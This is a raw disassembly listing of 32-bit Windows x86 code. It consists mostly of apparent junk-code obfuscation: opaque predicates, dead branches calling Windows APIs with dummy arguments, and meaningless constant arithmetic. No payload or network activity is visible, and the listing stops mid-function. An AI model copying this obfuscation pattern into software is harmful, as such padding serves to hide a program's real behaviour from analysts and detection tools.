push dword [ebp - 0x90]
lea ecx, [ebp - 0x688]
call fcn.0042aeee
mov esi, eax
push 0
lea ecx, [ebp - 0x688]
call fcn.0042aeee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x428176
mov dword [ebp - 0x450], 1
jmp 0x42817d
and dword [ebp - 0x450], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x450]
mov dword [ebp + eax - 0x9d0], ecx
jmp 0x42807d
jmp 0x42805a
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0x76c], eax
jmp 0x42803d
jmp 0x428010
lea ecx, [ebp - 0x688]
call fcn.0042aed2
jmp 0x427ba2
mov byte [ebp - 0x79], 0
movzx eax, byte [ebp - 0x79]
test eax, eax
je 0x4281d4
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xf8]
call fcn.0042aed2
push 1
push 0x7331
push 0x3f61
push 1
push 0x3b46
push 1
push 0x2caa
push 1
lea eax, [ebp - 0x1a4]
push eax
push 1
push 0x57e5
push dword [ebp - 0xfc]
push 1
push 0x6d58
call fcn.0041acaf
add esp, 0x38
cmp dword [ebp - 0x1a4], 0
jne 0x42862f
mov dword [ebp - 0x6fc], 1
push 2
lea ecx, [ebp - 0x7a0]
call fcn.0042ae00
mov dword [ebp - 0x74c], 0xcdb8faaa
mov dword [ebp - 0x118], 0
jmp 0x428265
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 2
jge 0x428284
push dword [ebp - 0x118]
lea ecx, [ebp - 0x7a0]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x428258
mov esi, dword [ebp - 0x6fc]
push 1
lea ecx, [ebp - 0x7a0]
call fcn.0042aeee
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x7a0]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4282d0
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x4282ce
push 0
push 0
push 0x2240
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
jmp 0x4282e5
push 1
lea ecx, [ebp - 0x7a0]
call fcn.0042aeee
mov eax, dword [eax]
mov dword [ebp - 0x74c], eax
lea ecx, [ebp - 0x7a0]
call fcn.0042aed2
mov dword [ebp - 0x30], 0x7f6af112
mov dword [ebp - 0x560], 0x91df82d
mov dword [ebp - 0x30], 0
jmp 0x428311
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffed
jne 0x428348
mov dword [ebp - 0x704], 0
cmp dword [ebp - 0x704], 0
je 0x42832c
jmp 0x428348
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x428346
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x42830a
mov dword [ebp - 0x30], 0
jmp 0x428358
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffffa
jl 0x428628
push 1
lea ecx, [ebp - 0x6a0]
call fcn.0042ae00
mov dword [ebp - 0x794], 0x3ee67684
mov dword [ebp - 0xc], 0
jmp 0x428389
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x42839f
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x994], 0
jmp 0x428382
mov dword [ebp - 0xc], 0
jmp 0x4283af
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jge 0x4283c5
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc0], 0xfffffff6
jmp 0x4283a8
mov dword [ebp - 0xc], 0
jmp 0x4283d5
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jge 0x4283f1
push dword [ebp - 0xc]
lea ecx, [ebp - 0x6a0]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x4283ce
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc0], 2
jmp 0x42841f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc0], 0
jl 0x428467
mov dword [ebp - 0x458], 7
mov eax, dword [ebp - 0x458]
dec eax
mov dword [ebp - 0x458], eax
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x428465
push 0x163f
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x428404
cmp dword [ebp - 0x30], 0
je 0x42851b
push 0
lea ecx, [ebp - 0x6a0]
call fcn.0042aeee
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x994]
cmp dword [eax], ecx
jge 0x4284a4
cmp dword [ebp - 0x794], 0
je 0x4284a4
mov dword [ebp - 0x5cc], 1
jmp 0x4284ab
and dword [ebp - 0x5cc], 0
push 0
lea ecx, [ebp - 0x6a0]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x5cc]
jl 0x4284ce
mov dword [ebp - 0x460], 1
jmp 0x4284d5
and dword [ebp - 0x460], 0
cmp dword [ebp - 0x460], 5
je 0x4284ea
mov dword [ebp - 0x550], 1
jmp 0x4284f1
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x560]
mov ecx, dword [ebp - 0x550]
lea eax, [ecx + eax + 4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x994]
je 0x42851b
mov dword [ebp - 0x468], 1
jmp 0x428522
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x468], eax
jne 0x428539
mov dword [ebp - 0x604], 1
jmp 0x428540
and dword [ebp - 0x604], 0
cmp dword [ebp - 0x604], 0xa74d4b4b
jne 0x428561
mov eax, 0xd8f9c328
test eax, eax
je 0x428561
mov dword [ebp - 0x24c], 1
jmp 0x428568
and dword [ebp - 0x24c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0]
cmp eax, dword [ebp - 0x24c]
jg 0x428589
mov dword [ebp - 0x558], 1
jmp 0x428590
and dword [ebp - 0x558], 0
push 0
lea ecx, [ebp - 0x6a0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x558]
cmp ecx, dword [eax]
jle 0x4285b3
mov dword [ebp - 0x478], 1
jmp 0x4285ba
and dword [ebp - 0x478], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0]
cmp eax, dword [ebp - 0x478]
jge 0x4285db
mov dword [ebp - 0x5d4], 1
jmp 0x4285e2
and dword [ebp - 0x5d4], 0
push 0
lea ecx, [ebp - 0x6a0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x5d4]
cmp ecx, dword [eax]
je 0x428605
mov dword [ebp - 0x480], 1
jmp 0x42860c
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x560], eax
lea ecx, [ebp - 0x6a0]
call fcn.0042aed2
jmp 0x428351
xor eax, eax
jmp 0x42a54e
mov dword [ebp - 0x4a0], 0xb950ba1b
mov dword [ebp - 0x4a8], 2
mov dword [ebp - 0x9e4], 0xffffffff
push 3
lea ecx, [ebp - 0x248]
call fcn.0042ae00
mov dword [ebp - 0x9ec], 1
or dword [ebp - 0x840], 0xffffffff
or dword [ebp - 0x83c], 0xffffffff
or dword [ebp - 0x838], 0xffffffff
or dword [ebp - 0x834], 0xffffffff
lea ecx, [ebp - 0x233]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0x840]
push eax
lea ecx, [ebp - 0xa80]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x7bc]
call fcn.0042aeac
mov dword [ebp - 0x238], 0xceffb91e
mov dword [ebp - 0x34], 0
jmp 0x4286cf
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x4286e5
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xab4], 0x182bd7b1
jmp 0x4286c8
mov dword [ebp - 0x34], 0
jmp 0x4286f5
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x428711
push dword [ebp - 0x34]
lea ecx, [ebp - 0x248]
call fcn.0042aeee
mov dword [eax], 0xfffffffb
jmp 0x4286ee
push 2
lea ecx, [ebp - 0x248]
call fcn.0042aeee
cmp dword [eax], 0
jne 0x428763
push 0
lea ecx, [ebp - 0x7bc]
call fcn.0042aeee
cmp dword [eax], 0xffffffff
je 0x428741
mov dword [ebp - 0x488], 1
jmp 0x428748
and dword [ebp - 0x488], 0
imul eax, dword [ebp - 0x488], 0x3279
cmp eax, dword [ebp - 0x4a0]
jl 0x428763
and dword [ebp - 0x62c], 0
jmp 0x42876d
mov dword [ebp - 0x62c], 1
push 2
lea ecx, [ebp - 0x248]
call fcn.0042aeee
mov ecx, dword [ebp - 0x62c]
cmp ecx, dword [eax]
jg 0x428790
mov dword [ebp - 0x490], 1
jmp 0x428797
and dword [ebp - 0x490], 0
cmp dword [ebp - 0x490], 0xfffffff6
jle 0x4287ac
mov dword [ebp - 0x568], 1
jmp 0x4287b3
and dword [ebp - 0x568], 0
push 0
lea ecx, [ebp - 0x248]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x568]
je 0x4287d6
mov dword [ebp - 0x21c], 1
jmp 0x4287dd
and dword [ebp - 0x21c], 0
push 3
lea ecx, [ebp - 0x7bc]
call fcn.0042aeee
mov ecx, dword [ebp - 0x21c]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x248]
call fcn.0042aeee
mov eax, dword [eax]
add eax, dword [ebp - 0x21c]
cmp eax, 1
jne 0x428818
mov dword [ebp - 0x498], 1
jmp 0x42881f
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x498]
add eax, 0x1d6536d3
mov ecx, dword [ebp - 0x4a8]
sub ecx, eax
mov dword [ebp - 0x5dc], ecx
push 0
lea ecx, [ebp - 0x248]
call fcn.0042aeee
mov ecx, dword [ebp - 0x5dc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x4a0], eax
push 0
lea ecx, [ebp - 0x248]
call fcn.0042aeee
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
mov esi, dword [ebp - 0x238]
push 0
lea ecx, [ebp - 0x248]
call fcn.0042aeee
cmp esi, dword [eax]
jg 0x4288a8
push 3
lea ecx, [ebp - 0x7bc]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4288a8
mov dword [ebp - 0x570], 1
jmp 0x4288af
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x4a8], eax
lea ecx, [ebp - 0x7bc]
call fcn.0042aed2
lea ecx, [ebp - 0x248]
call fcn.0042aed2
lea eax, [ebp - 0x2c]
push eax
push 0x6d6d
push 1
push 0x191d
push 0x14d5
push 0x303e
push 0x2be5
push dword [ebp - 0xfc]
push 1
push 1
lea eax, [ebp - 0xa14]
push eax
push 1
push 1
push 0x2dad
push dword [ebp - 0x224]
push 0x12b3
push 0x4205
lea eax, [ebp - 0x1a4]
push eax
push 0x1c75
call fcn.00424a41
add esp, 0x4c
push dword [ebp + 8]
push 0x2df9
push 0xc5
push 0
push 0x518f
push 0
push 0x1658
push 1
push dword [ebp - 0xfc]
push 1
push dword [ebp - 0x2c]
call fcn.0040c09f
add esp, 0x2c
mov dword [ebp - 8], 0x9ad59e57
mov dword [ebp - 0xc8], 6
mov dword [ebp - 0x344], 0x20796559
push 4
lea ecx, [ebp - 0x9a4]
call fcn.0042ae00
mov dword [ebp - 0x148], 0
jmp 0x42899f
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 4
jge 0x4289c1
push dword [ebp - 0x148]
lea ecx, [ebp - 0x9a4]
call fcn.0042aeee
mov dword [eax], 0xfffffffd
jmp 0x428992
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x4289de
push 0x166b
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov eax, dword [ebp - 8]
mov dword [ebp - 0xa1c], eax
xor eax, eax
jne 0x428a3a
mov eax, dword [ebp - 8]
cmp dword [ebp - 8], eax
je 0x4289ff
mov dword [ebp - 0x60c], 1
jmp 0x428a06
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x60c]
inc eax
inc eax
cmp eax, dword [ebp - 8]
je 0x428a1f
mov dword [ebp - 0x4b0], 1
jmp 0x428a26
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x4b0], eax
je 0x428a3a
and dword [ebp - 0x578], 0
jmp 0x428a44
mov dword [ebp - 0x578], 1
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x578], eax
je 0x428a5b
mov dword [ebp - 0x4b8], 1
jmp 0x428a62
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x4b8], eax
jle 0x428a79
mov dword [ebp - 0x580], 1
jmp 0x428a80
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x580], eax
jge 0x428a97
mov dword [ebp - 0x4c0], 1
jmp 0x428a9e
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0x4c0]
sub eax, dword [ebp - 8]
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
je 0x428ac6
mov dword [ebp - 0x348], 1
jmp 0x428acd
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 8]
cmp eax, 0xcadfb1af
jne 0x428ae9
mov dword [ebp - 0x34c], 1
jmp 0x428af0
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x34c]
cmp eax, dword [ebp - 8]
je 0x428b0a
mov dword [ebp - 0x354], 1
jmp 0x428b11
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x344], eax
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0xa24], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xa2c], eax
push 8
pop eax
sub eax, 0x7b69c93e
cmp dword [ebp - 8], eax
jg 0x428bb3
mov byte [ebp - 0x66], 0
movzx eax, byte [ebp - 0x66]
test eax, eax
je 0x428b53
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 8], 0
jmp 0x428b63
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jg 0x428bb1
mov dword [ebp - 0xc8], 3
jmp 0x428b82
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x428baf
mov byte [ebp - 0x67], 0
movzx eax, byte [ebp - 0x67]
test eax, eax
je 0x428bad
push 0x2211
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x428b75
jmp 0x428b5c
jmp 0x428c03
mov dword [ebp - 0xa28], 0x1ec8
mov dword [ebp - 0xa18], 0
mov dword [ebp - 0x70c], 0
mov dword [ebp - 0x754], 0xadd7081d
cmp dword [ebp - 0x70c], 1
jle 0x428bf0
mov dword [ebp - 0x364], 1
jmp 0x428bf7
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x754], eax
lea ecx, [ebp - 0x9a4]
call fcn.0042aed2
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x1a4]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x150], 1
mov dword [ebp - 0x868], 0xa0e6
mov dword [ebp - 0x864], 0xa0e6
mov dword [ebp - 0x860], 0xa0e6
mov dword [ebp - 0x85c], 0xa0e6
lea ecx, [ebp - 0x231]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x858]
push eax
lea eax, [ebp - 0x868]
push eax
lea ecx, [ebp - 0xa70]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa48]
call fcn.0042aeac
mov dword [ebp - 0x150], 0
jmp 0x428ca3
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x1c
jge 0x428dab
mov dword [ebp - 0x9d8], 1
mov dword [ebp - 0x158], 0
jmp 0x428cd3
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x428cef
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x658], 0x876942a1
jmp 0x428cc6
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x658], 3
jmp 0x428d1d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x658]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x658], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x658], 0
jl 0x428da6
push 1
lea ecx, [ebp - 0x8a8]
call fcn.0042ae00
mov dword [ebp - 0x160], 0
jmp 0x428d53
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x428d72
push dword [ebp - 0x160]
lea ecx, [ebp - 0x8a8]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x428d46
push 0
lea ecx, [ebp - 0x8a8]
call fcn.0042aeee
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x36c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x36c]
mov dword [ecx], eax
lea ecx, [ebp - 0x8a8]
call fcn.0042aed2
jmp 0x428d02
jmp 0x428c96
mov byte [ebp - 0x69], 0
movzx eax, byte [ebp - 0x69]
test eax, eax
je 0x428dbf
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea ecx, [ebp - 0xa48]
call fcn.0042aed2
cmp dword [ebp - 0x39c], 0
je 0x428efe
mov dword [ebp - 0x104], 1
cmp dword [ebp - 0x104], 0
je 0x428e05
mov dword [ebp - 0x714], 1
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x714], eax
jmp 0x428ece
mov dword [ebp - 0x168], 0xfff7
mov dword [ebp - 0x394], 0xcafa
mov dword [ebp - 0x774], 0
cmp dword [ebp - 0x104], 3
ja 0x428e43
mov eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0x104]
jne 0x428e43
and dword [ebp - 0x374], 0
jmp 0x428e4d
mov dword [ebp - 0x374], 1
mov eax, dword [ebp - 0x104]
add eax, dword [ebp - 0x374]
cmp eax, dword [ebp - 0x168]
je 0x428e6d
mov dword [ebp - 0x37c], 1
jmp 0x428e74
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x37c]
jne 0x428e8e
mov dword [ebp - 0x384], 1
jmp 0x428e95
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x384]
jge 0x428eaf
mov dword [ebp - 0x38c], 1
jmp 0x428eb6
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x774], eax
push 0x924
push dword [ebp - 0x39c]
push 0x2d34
push dword [ebp - 0x2c]
push 0x30a2
push 0x2edf
push 0x7e1e
push 0
push 1
push 1
call fcn.0040de2e
add esp, 0x28
mov dword [ebp - 0x71c], 0x85299dad
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0x75c], 0xaeb9
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x10c], 0x12
jmp 0x428f41
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xfffffff2
jl 0x428fad
cmp dword [ebp - 0x75c], 0
je 0x428f55
jmp 0x428fad
mov byte [ebp - 0x6b], 0
movzx eax, byte [ebp - 0x6b]
test eax, eax
je 0x428fab
push 0x14c3
push 0x920
push 0
push 0
push 0xb98
push 0x25c3
push 0x1bb4
push 0x1532
push 0x2032
push 0x11b6
push 0xd37
push 0x1c09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
jmp 0x428f34
push dword [ebp - 0x2c]
call fcn.00417b74
pop ecx
test eax, eax
jne 0x4293d5
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x3a4], 0x37ad4351
mov dword [ebp - 0x200], 0x935cb514
mov dword [ebp - 0x41c], 0x94902820
mov dword [ebp - 0x434], 0x8b697689
mov dword [ebp - 0x24], 0
jmp 0x428ffd
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x17
jl 0x4293ce
mov dword [ebp - 0x98], 5
mov dword [ebp - 0xd0], 0xfffffff8
mov dword [ebp - 0x3f4], 0x51814487
push 1
lea ecx, [ebp - 0x89c]
call fcn.0042ae00
mov dword [ebp - 0x170], 0
jmp 0x42904b
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 1
jge 0x42906d
push dword [ebp - 0x170]
lea ecx, [ebp - 0x89c]
call fcn.0042aeee
mov dword [eax], 0x7606ab81
jmp 0x42903e
mov dword [ebp - 0x3a4], 0xccce
cmp dword [ebp - 0x3a4], 0
jne 0x42908c
mov dword [ebp - 0x44c], 1
jmp 0x429093
and dword [ebp - 0x44c], 0
cmp dword [ebp - 0x98], 0
je 0x4290a5
cmp dword [ebp - 0x98], 0
jne 0x4290b4
cmp dword [ebp - 0x24], 0
jne 0x4290b4
and dword [ebp - 0x3ac], 0
jmp 0x4290be
mov dword [ebp - 0x3ac], 1
cmp dword [ebp - 0x3ac], 0xfffffffa
jge 0x4290d3
mov dword [ebp - 0x3b4], 1
jmp 0x4290da
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0x24]
jne 0x4290f4
mov dword [ebp - 0x724], 1
jmp 0x4290fb
and dword [ebp - 0x724], 0
mov dword [ebp - 0xd0], 0xe595
push 3
pop eax
cmp eax, 0x99bf0bb9
je 0x42911b
mov dword [ebp - 0x3bc], 1
jmp 0x429122
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x200], eax
jge 0x429145
mov dword [ebp - 0x3c4], 1
jmp 0x42914c
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x3c4]
add eax, 0x2b89c393
cmp eax, 0xfd55
jge 0x42916a
mov dword [ebp - 0x3cc], 1
jmp 0x429171
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x3cc], eax
jl 0x429188
mov dword [ebp - 0x3d4], 1
jmp 0x42918f
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x3d4], eax
jne 0x4291a9
mov dword [ebp - 0x3dc], 1
jmp 0x4291b0
and dword [ebp - 0x3dc], 0
cmp dword [ebp - 0x3dc], 0x46d2
jle 0x4291d7
cmp dword [ebp - 0x200], 0
jne 0x4291d7
cmp dword [ebp - 0x98], 0
jne 0x4291d7
and dword [ebp - 0x3e4], 0
jmp 0x4291e1
mov dword [ebp - 0x3e4], 1
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x3e4], eax
jg 0x4291fb
mov dword [ebp - 0x3ec], 1
jmp 0x429202
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0x3f4]
sub eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x98]
jg 0x42922b
mov dword [ebp - 0x3fc], 1
jmp 0x429232
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x3fc], eax
jne 0x42924c
mov dword [ebp - 0x404], 1
jmp 0x429253
and dword [ebp - 0x404], 0
imul eax, dword [ebp - 0x404], 0x60d4
cmp eax, dword [ebp - 0x24]
jge 0x42926e
mov dword [ebp - 0x40c], 1
jmp 0x429275
and dword [ebp - 0x40c], 0
cmp dword [ebp - 0x40c], 0xfffb
je 0x42928d
mov dword [ebp - 0x414], 1
jmp 0x429294
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
sub eax, 0x57638ff4
cmp eax, 0xfffffffb
je 0x4292bc
mov dword [ebp - 0x424], 1
jmp 0x4292c3
and dword [ebp - 0x424], 0
cmp dword [ebp - 0x424], 1
jle 0x4292d8
mov dword [ebp - 0x42c], 1
jmp 0x4292df
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0x42c], eax
jge 0x4292f9
mov dword [ebp - 0x43c], 1
jmp 0x429300
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0x43c], eax
jl 0x42931a
mov dword [ebp - 0x444], 1
jmp 0x429321
and dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 0xcfe9
jl 0x429342
cmp dword [ebp - 0xd0], 0
je 0x429342
mov dword [ebp - 0x454], 1
jmp 0x429349
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x44c]
cmp eax, dword [ebp - 0x454]
je 0x429363
mov dword [ebp - 0x45c], 1
jmp 0x42936a
and dword [ebp - 0x45c], 0
push 0
lea ecx, [ebp - 0x89c]
call fcn.0042aeee
mov ecx, dword [ebp - 0x45c]
mov dword [eax], ecx
mov dword [ebp - 0xd0], 0xffffffef
jmp 0x429398
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xffffffe3
je 0x4293be
mov byte [ebp - 0x6d], 0
movzx eax, byte [ebp - 0x6d]
test eax, eax
je 0x4293bc
push 0
push 0x1d8b
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
jmp 0x42938b
lea ecx, [ebp - 0x89c]
call fcn.0042aed2
jmp 0x428ff6
xor eax, eax
jmp 0x42a54e
push 4
lea ecx, [ebp - 0x644]
call fcn.0042ae00
mov dword [ebp - 0xa8], 0xe76f5020
push 2
lea ecx, [ebp - 0x744]
call fcn.0042ae00
mov dword [ebp - 0x38], 0
jmp 0x429409
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x429422
push dword [ebp - 0x38]
lea ecx, [ebp - 0x644]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x429402
mov dword [ebp - 0x38], 0
jmp 0x429432
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x42944e
push dword [ebp - 0x38]
lea ecx, [ebp - 0x744]
call fcn.0042aeee
mov dword [eax], 0xfffffffd
jmp 0x42942b
mov dword [ebp - 0xa8], 0
jmp 0x429467
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jg 0x429625
mov dword [ebp - 0xa0], 0xb8c3ad3b
mov dword [ebp - 0x5c], 0x964a90c6
mov dword [ebp - 0xa0], 0
jmp 0x42949e
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jg 0x429609
mov dword [ebp - 0x5c], 0xc7008b15
cmp dword [ebp - 0x5c], 0
je 0x4294da
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x644]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4294da
mov dword [ebp - 0x464], 1
jmp 0x4294e1
and dword [ebp - 0x464], 0
push 3
lea ecx, [ebp - 0x644]
call fcn.0042aeee
mov esi, eax
push 0
lea ecx, [ebp - 0x644]
call fcn.0042aeee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x42950f
mov dword [ebp - 0x46c], 1
jmp 0x429516
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x464]
cmp eax, dword [ebp - 0x46c]
jle 0x429530
mov dword [ebp - 0x474], 1
jmp 0x429537
and dword [ebp - 0x474], 0
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x644]
call fcn.0042aeee
mov eax, dword [eax]
sub eax, dword [ebp - 0x474]
cmp eax, dword [ebp - 0xa0]
jne 0x429564
mov dword [ebp - 0x47c], 1
jmp 0x42956b
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
sub eax, 0x1b40e11a
cmp eax, dword [ebp - 0xa8]
je 0x429584
cmp dword [ebp - 0x5c], 0
je 0x429591
push 1
lea ecx, [ebp - 0x644]
call fcn.0042aeee
cmp dword [ebp - 0xa8], 0
je 0x4295a1
push 0xfffffffffffffff7
pop eax
